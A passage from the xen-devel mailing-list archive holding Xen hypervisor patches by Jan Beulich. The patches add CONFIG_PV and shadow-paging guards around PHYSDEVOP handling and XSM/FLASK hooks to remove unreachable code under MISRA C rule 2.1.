@@ -1783,6 +1779,13 @@ static int cf_check flask_domain_memory_
     return current_has_perm(d, SECCLASS_MMU, MMU__MEMORYMAP);
 }
 
+#ifdef CONFIG_PV
+
+static int cf_check flask_do_mca(void)
+{
+    return domain_has_xen(current->domain, XEN__MCA_OP);
+}
+
 static int cf_check flask_mmu_update(
     struct domain *d, struct domain *t, struct domain *f, uint32_t flags)
 {
@@ -1823,6 +1826,8 @@ static int cf_check flask_update_va_mapp
     return domain_has_perm(d, f, SECCLASS_MMU, map_perms);
 }
 
+#endif /* CONFIG_PV */
+
 static int cf_check flask_priv_mapping(struct domain *d, struct domain *t)
 {
     return domain_has_perm(d, t, SECCLASS_MMU, MMU__TARGET_HACK);



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:18:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:18:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374101.1621064 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohhy-00007c-4E; Tue, 28 Jul 2026 13:18:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374101.1621064; Tue, 28 Jul 2026 13:18:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohhy-00007V-1e; Tue, 28 Jul 2026 13:18:58 +0000
Received: by outflank-mailman (input) for mailman id 1374101;
 Tue, 28 Jul 2026 13:18:56 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohhw-00007B-LF
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:18:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohhw-007BE9-1N
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:18:56 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ac38-e002-0a2a0a5209dd-0a2a4503ba9c-28
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:18:56 +0200
Received: from [209.85.128.41] (helo=mail-wm1-f41.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ac3f-fae8-0a2a45030019-d1558029d50d-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:18:55 +0200
Received: by mail-wm1-f41.google.com with SMTP id
 5b1f17b1804b1-490cf322ed0so27671485e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:18:55 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c4443396sm88368515e9.0.2026.07.28.06.18.53
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:18:54 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244735; x=1785849535; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=/SmIo6yz+LIUfvr2Dg1NtjOiEKrdqFZFi0UTFgUzEZo=;
        b=fnDNVkhhuk67RghCEks7LI27raNe4MAbGBzmWpFTpHURK+9P2xesyI+8QoOjs8EAH7
         FTOBG+cUt/Sq3B72h2+2eNA60z8Vdf0vtiuJKyRIMCdiGzk8GelzTIQNSvv9wsfLM4oj
         EBR4aTqJ4tPaQJuNb1N3Mgw9AhnM2YdKEMDmKC5RL+6kWvoUJ2zDBNWFcIib2xqpH6Qw
         WEGMygayS8kga7aSnEzOqBImadNM5PxggKKrL1WngcsLiZsrGT62QDXTfIlTgpF+2y2j
         8aQy+WcR8rXfoi82Iq8edbmm+P5OV8cF4eGiIs7dc4ncb+819r9ZCnsiEFe9pn4H+v8o
         TuiQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244735; x=1785849535;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=/SmIo6yz+LIUfvr2Dg1NtjOiEKrdqFZFi0UTFgUzEZo=;
        b=HVKqynQ2kQwCDWmOnFUwtetZEZ4fFAFAEdDQj0ytvkFjSA9Hde02vkqmlZrJHJfks2
         +U81oo8LX/qX/Exae4yzNmmSnQfsMSukazyHAaqhStzRtNt/AwwkzNbH6+WB5AwN3dlA
         Ajh7RO3QUMAdPP302jGInof3X7YDcVoYOIoq9vLypcrxxtlSt42UJ4a6tvZfCcM4D+3n
         41nr/Z7vDUgIXAjdU6W9YEkU1TZi/t1Y99s9nW+Axe6u1Y8+L6UrFELP7Yh+Q7BFB9Qm
         Q9pwuXet6/VSbG+b33fVKQmLgID3nrXhAyrJ+2aWnm2gi+voCo4qotq9hxVyfLQqnlQo
         fncA==
X-Gm-Message-State: AOJu0Yw9TqubpC4PgFD5Z6PLXQlQIkPUiUFd/ff60dpGFDe4kXA38CMH
	1oWc/1QHJ7yUMgBcjXgwtdCcJwZk2iXt4/9ECqcON9Pm38kw6Ehm6A2m6SMpxeCgO8gaWfZOHiF
	oSOQduA==
X-Gm-Gg: AR+sD13+SN+2cCA0HAypURnyEwX0V76mRPp6DOXPOD8JdiYWW9KCSDhMeXzUvXmnQ4Q
	XXNWV7ipZQgzjSNqUsjBu+EeEle6k3oUpbfNwoTRIsED9Ugu4Ix4i4jfTwfW0IRA2WZwy/ramgU
	q6c7u1+11yFXk6Lng/+iv9m9Q6gELDMiVC/Q8n0oA9IAfNv+N9fSSSo+7uHAniJy6xqy9RXiaf1
	QIcqjqf88KQ+HQJUrVWysCKvCTkeoIEfnCL60ppwJ1h+gXPZacenF7XTPf6m1K4H3bCqoX8/uVB
	KhPzmcaSFIlwaPNH9IqLs1CaktxtdfgJk+AM5Jqr7yOA5xBU6PUdtds8epvqe07JEXZnXd5CZsD
	e6M6xB1SVre++kj7qXZ+rNaCS3+psJHCAKo09Oz6q/subDo+gCLzc5Neo4M/5qgrIM2tZcJQEly
	SplXg4vDb2SNMeYqFsf5xm9ftWwz6MGf3Wkx+mtqxIS0ctn9ulCRaHR3XNYl3Ln/cGew==
X-Received: by 2002:a05:600c:4f8a:b0:495:78ea:2687 with SMTP id 5b1f17b1804b1-496c6571c93mr24784265e9.29.1785244735437;
        Tue, 28 Jul 2026 06:18:55 -0700 (PDT)
Message-ID: <07e90200-95b5-413f-9259-7f0481d36521@suse.com>
Date: Tue, 28 Jul 2026 15:18:52 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 12/24] x86/mm: get_page_from_l1e() is PV-or-shadow-only
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7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0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1785244736-6FCC34E9-E282CBDA/0/0
X-purgate-type: clean
X-purgate-size: 2574

Otherwise the function is unreachable, violating MISRA C:2012 rule 2.1.
With the function compiled out, its dedicated XSM hook also becomes
unreachable, so it is similarly guarded.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
It feels suspicious that the .priv_mapping() check is used for HVM guests
in shadow mode, but not for ones in HAP mode.

--- a/xen/arch/x86/mm.c
+++ b/xen/arch/x86/mm.c
@@ -837,6 +837,8 @@ static int cf_check print_mmio_emul_rang
 }
 #endif
 
+#if defined(CONFIG_PV) || defined(CONFIG_SHADOW_PAGING)
+
 /*
  * get_page_from_l1e returns:
  *   0  => success (page not present also counts as such)
@@ -1038,6 +1040,8 @@ get_page_from_l1e(
     return -EBUSY;
 }
 
+#endif /* CONFIG_PV || CONFIG_SHADOW_PAGING */
+
 /*
  * The following flags are used to specify behavior of various get and
  * put commands.  The first is also stored in page->partial_flags to
--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -705,12 +705,14 @@ static XSM_INLINE int cf_check xsm_updat
 
 #endif /* CONFIG_PV */
 
+#if defined(CONFIG_PV) || defined(CONFIG_SHADOW_PAGING)
 static XSM_INLINE int cf_check xsm_priv_mapping(
     XSM_DEFAULT_ARG struct domain *d, struct domain *t)
 {
     XSM_ASSERT_ACTION(XSM_TARGET);
     return xsm_default_action(action, d, t);
 }
+#endif
 
 static XSM_INLINE int cf_check xsm_ioport_permission(
     XSM_DEFAULT_ARG struct domain *d, uint32_t s, uint32_t e, uint8_t allow)
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -141,7 +141,9 @@ XSM_HOOK(int, mmu_update, struct domain
 XSM_HOOK(int, mmuext_op, struct domain *, struct domain *)
 XSM_HOOK(int, update_va_mapping, struct domain *, struct domain *, l1_pgentry_t)
 #endif /* CONFIG_PV */
+#if defined(CONFIG_PV) || defined(CONFIG_SHADOW_PAGING)
 XSM_HOOK(int, priv_mapping, struct domain *, struct domain *)
+#endif
 XSM_HOOK(int, ioport_permission, struct domain *, uint32_t, uint32_t, uint8_t)
 XSM_HOOK(int, ioport_mapping, struct domain *, uint32_t, uint32_t, uint8_t)
 XSM_HOOK(int, pmu_op, struct domain *, unsigned int)
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -1828,10 +1828,12 @@ static int cf_check flask_update_va_mapp
 
 #endif /* CONFIG_PV */
 
+#if defined(CONFIG_PV) || defined(CONFIG_SHADOW_PAGING)
 static int cf_check flask_priv_mapping(struct domain *d, struct domain *t)
 {
     return domain_has_perm(d, t, SECCLASS_MMU, MMU__TARGET_HACK);
 }
+#endif
 
 static int cf_check flask_pmu_op(struct domain *d, unsigned int op)
 {



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:19:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:19:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374110.1621072 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohiX-0000h1-FM; Tue, 28 Jul 2026 13:19:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374110.1621072; Tue, 28 Jul 2026 13:19:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohiX-0000gu-CV; Tue, 28 Jul 2026 13:19:33 +0000
Received: by outflank-mailman (input) for mailman id 1374110;
 Tue, 28 Jul 2026 13:19:32 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohiW-0000gg-4R
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:19:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohiV-00ES3R-HY
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:19:31 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ac61-2eae-0a2a0a5409dd-0a2a4508ecec-4
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:19:31 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ac63-f659-0a2a45080019-d155dd2de487-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:19:31 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-47f703a9d05so2581913f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:19:31 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85c6e9a2sm60807339f8f.35.2026.07.28.06.19.29
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:19:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244771; x=1785849571; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=oX+S8t4Xv21gIwLzdmsHp6pUsFjHDfd2dB/4aRgiBe4=;
        b=EZp31Yl7lw/Hg2w6OF+/UQbXsz+8GvhfBkMnn/XGP6UkmE0frFe36rYRmjfy1OfcrK
         ZC6sppcShi09eeBr8Zad6FKhR/cnccMouHrGlGN3TbNwPDEIs1gqlBOvJMfKmCyjTLkc
         bPiavhGx63Uhp/mVfYEPMh9Ez8gNXSonMlhtsXoYg6J/AtiFm9UhDb9ZAoArMDR8C7Ne
         Mcncx2AX9vAsbAfENoDf8q/4mruqQTUGwfVcSX+jrvFBrOaj9Vt/4ZHtqFsqqilxREHR
         mlfYvRZQ7ijH4HMmnDYsNURW+k2GGXotcXOYY5c8cuYPBzkaHW1tqzsonB57d9QSoRpT
         tqJw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244771; x=1785849571;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=oX+S8t4Xv21gIwLzdmsHp6pUsFjHDfd2dB/4aRgiBe4=;
        b=CZv0IgDWLgfgloDWftffM6ypXa0aI53cjpepe9G8Y0PgiGaSSQK7CvjPlujhFK3/2P
         /MEq/TNjFIu6ypj8jpw/GrVB5m+gkc2bjZGd5r2DtjfjjAHzwqwgLoTQiSV5+s/81QQF
         DaFSRqFXf/24yAd6CjWdZ9wSTbuBY1/3AWQiHjI+FBeAustsBj11pSZFrl8RO84dXGqi
         IkW07WFa2HTpOeOFPNrDOZ9GVAKm6jJ6HOTaXOWV3585FVV7bda7tVpEpdqmmzlKTWb3
         Ry0qZCHQ0fcCOsqIIUHIL7eMJTpR2ZYN985yeJL3nVe6+uk9RbJndwSA0rPsKrrMjGta
         ctlg==
X-Gm-Message-State: AOJu0Yxrret/wIPfV8Lh8Mjgsvr3QJnEk63MLn6lDrCinXo9k2PEE9eU
	UI4gjMo5bZRV7xAXBpGPoHwgLlriOj4BO0yIq2+F7Lqr92iIGDbVHJwLXxoNmK6kQzEyKEn2KHz
	t7Hm8LA==
X-Gm-Gg: AR+sD12vEcyHI/Vt1D/kGisbmSS83/2A0x2yJXAIpucr7m1g0n/s9OAtJHeR8UIrjqy
	D+yNCDox++nx7evHq51Y4Vh1B/rLgUOZEpmZTEysEUo5VLTjaM1UZkFGB40w3J1rA2IOFMNLv49
	W2u1A9mdNr7UH2jk/SiYHXy51ZBe8TWuSgkp7fP+xX0MDvFwKIBIEnA0eXzJHyVQD+m3xxG98yW
	YK33iLtXu5zvXHS34TqTJJRLsVYISR2Ur5AiGILGVCk11mPj4uNuaCTPpFu86YLhQdnHf/Aj+iU
	WCCBWJz9SRPUseXgVtRQrOhVIXngqoX8/zV5EwxycjV7INOlxVZQyHZlNhSQltXkzqI5WQqlT/J
	dBq6CzAyNztuK6mJl64zyp8JrewWuXS5JfM1Kar6dQdBkNs/nzTf2EItrIzQNUu/CjsfMVr2aG0
	/NPv1W+7aU6idnzKQeYFTILqfADvituPhtvGnoDs18P1zZGtxS2u3NxDDnyJ2Bfzxjkg==
X-Received: by 2002:a5d:5f49:0:b0:47f:97e9:fe54 with SMTP id ffacd0b85a97d-47fb1ec2661mr2952117f8f.58.1785244770818;
        Tue, 28 Jul 2026 06:19:30 -0700 (PDT)
Message-ID: <5b3ba207-aa18-4ebe-9c8b-2ccf51240698@suse.com>
Date: Tue, 28 Jul 2026 15:19:29 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 13/24] x86: restrict PHYSDEVOP_* when PV=n
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBP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kFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1785244771-D6B4187B-7C909BD8/0/0
X-purgate-type: clean
X-purgate-size: 4521

hvm_physdev_op() permits through only a subset of sub-ops. The code
handling other sub-ops is therefore unreachable when PV=n, violating MISRA
C:2012 rule 2.1. With that the XSM .apic() hook also becomes unreachable /
dead when PV=n.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
At least for the sub-ops using xsm_apic() IS_ENABLED() cannot be used.
Therefore #ifdef is used throughout.

--- a/xen/arch/x86/physdev.c
+++ b/xen/arch/x86/physdev.c
@@ -233,6 +233,8 @@ ret_t do_physdev_op(int cmd, XEN_GUEST_H
         break;
     }
 
+#ifdef CONFIG_PV
+
     case PHYSDEVOP_pirq_eoi_gmfn_v2:
     case PHYSDEVOP_pirq_eoi_gmfn_v1: {
         struct physdev_pirq_eoi_gmfn info;
@@ -281,6 +283,8 @@ ret_t do_physdev_op(int cmd, XEN_GUEST_H
         break;
     }
 
+#endif /* CONFIG_PV */
+
     case PHYSDEVOP_irq_status_query: {
         struct physdev_irq_status_query irq_status_query;
         ret = -EFAULT;
@@ -379,6 +383,8 @@ ret_t do_physdev_op(int cmd, XEN_GUEST_H
         break;
     }
 
+#ifdef CONFIG_PV
+
     case PHYSDEVOP_apic_read: {
         struct physdev_apic apic;
         ret = -EFAULT;
@@ -524,6 +530,8 @@ ret_t do_physdev_op(int cmd, XEN_GUEST_H
         break;
     }
 
+#endif /* CONFIG_PV */
+
     case PHYSDEVOP_pci_mmcfg_reserved: {
         struct physdev_pci_mmcfg_reserved info;
 
@@ -558,6 +566,8 @@ ret_t do_physdev_op(int cmd, XEN_GUEST_H
         break;
     }
 
+#ifdef CONFIG_PV
+
     case PHYSDEVOP_restore_msi: {
         struct physdev_restore_msi restore_msi;
         struct pci_dev *pdev;
@@ -589,6 +599,8 @@ ret_t do_physdev_op(int cmd, XEN_GUEST_H
         break;
     }
 
+#endif /* CONFIG_PV */
+
     case PHYSDEVOP_setup_gsi: {
         struct physdev_setup_gsi setup_gsi;
 
@@ -608,6 +620,7 @@ ret_t do_physdev_op(int cmd, XEN_GUEST_H
                               setup_gsi.polarity);
         break; 
     }
+
     case PHYSDEVOP_get_free_pirq: {
         struct physdev_get_free_pirq out;
 
--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -648,13 +648,6 @@ static XSM_INLINE int cf_check xsm_mem_s
     return xsm_default_action(action, current->domain, cd);
 }
 
-static XSM_INLINE int cf_check xsm_apic(
-    XSM_DEFAULT_ARG struct domain *d, int cmd)
-{
-    XSM_ASSERT_ACTION(XSM_PRIV);
-    return xsm_default_action(action, d, NULL);
-}
-
 static XSM_INLINE int cf_check xsm_machine_memory_map(XSM_DEFAULT_VOID)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
@@ -670,6 +663,13 @@ static XSM_INLINE int cf_check xsm_domai
 
 #ifdef CONFIG_PV
 
+static XSM_INLINE int cf_check xsm_apic(
+    XSM_DEFAULT_ARG struct domain *d, int cmd)
+{
+    XSM_ASSERT_ACTION(XSM_PRIV);
+    return xsm_default_action(action, d, NULL);
+}
+
 static XSM_INLINE int cf_check xsm_do_mca(XSM_DEFAULT_VOID)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -131,10 +131,10 @@ XSM_HOOK(int, mem_sharing_op, struct dom
 XSM_HOOK(int, platform_op, uint32_t)
 
 #ifdef CONFIG_X86
-XSM_HOOK(int, apic, struct domain *, int)
 XSM_HOOK(int, machine_memory_map)
 XSM_HOOK(int, domain_memory_map, struct domain *)
 #ifdef CONFIG_PV
+XSM_HOOK(int, apic, struct domain *, int)
 XSM_HOOK(int, do_mca)
 XSM_HOOK(int, mmu_update, struct domain *, struct domain *, struct domain *,
                           uint32_t)
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -1749,6 +1749,19 @@ static int cf_check flask_mem_sharing_op
 }
 #endif
 
+static int cf_check flask_machine_memory_map(void)
+{
+    return avc_current_has_perm(SECINITSID_XEN, SECCLASS_MMU, MMU__MEMORYMAP,
+                                NULL);
+}
+
+static int cf_check flask_domain_memory_map(struct domain *d)
+{
+    return current_has_perm(d, SECCLASS_MMU, MMU__MEMORYMAP);
+}
+
+#ifdef CONFIG_PV
+
 static int cf_check flask_apic(struct domain *d, int cmd)
 {
     uint32_t perm;
@@ -1769,18 +1782,6 @@ static int cf_check flask_apic(struct do
     return domain_has_xen(d, perm);
 }
 
-static int cf_check flask_machine_memory_map(void)
-{
-    return avc_current_has_perm(SECINITSID_XEN, SECCLASS_MMU, MMU__MEMORYMAP, NULL);
-}
-
-static int cf_check flask_domain_memory_map(struct domain *d)
-{
-    return current_has_perm(d, SECCLASS_MMU, MMU__MEMORYMAP);
-}
-
-#ifdef CONFIG_PV
-
 static int cf_check flask_do_mca(void)
 {
     return domain_has_xen(current->domain, XEN__MCA_OP);



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:20:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:20:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374117.1621081 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohiz-00019e-Nq; Tue, 28 Jul 2026 13:20:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374117.1621081; Tue, 28 Jul 2026 13:20:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohiz-00019X-Ky; Tue, 28 Jul 2026 13:20:01 +0000
Received: by outflank-mailman (input) for mailman id 1374117;
 Tue, 28 Jul 2026 13:20:01 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohiy-00019R-Oh
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:20:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohiy-00HAue-2H
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:20:00 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ac7f-bab6-0a2a0a5309dd-0a2a4503ed30-8
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:20:00 +0200
Received: from [209.85.221.43] (helo=mail-wr1-f43.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ac7f-fae8-0a2a45030019-d155dd2ba42b-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:19:59 +0200
Received: by mail-wr1-f43.google.com with SMTP id
 ffacd0b85a97d-4758bd3731bso896861f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:19:59 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85c531afsm64886299f8f.24.2026.07.28.06.19.58
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:19:58 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
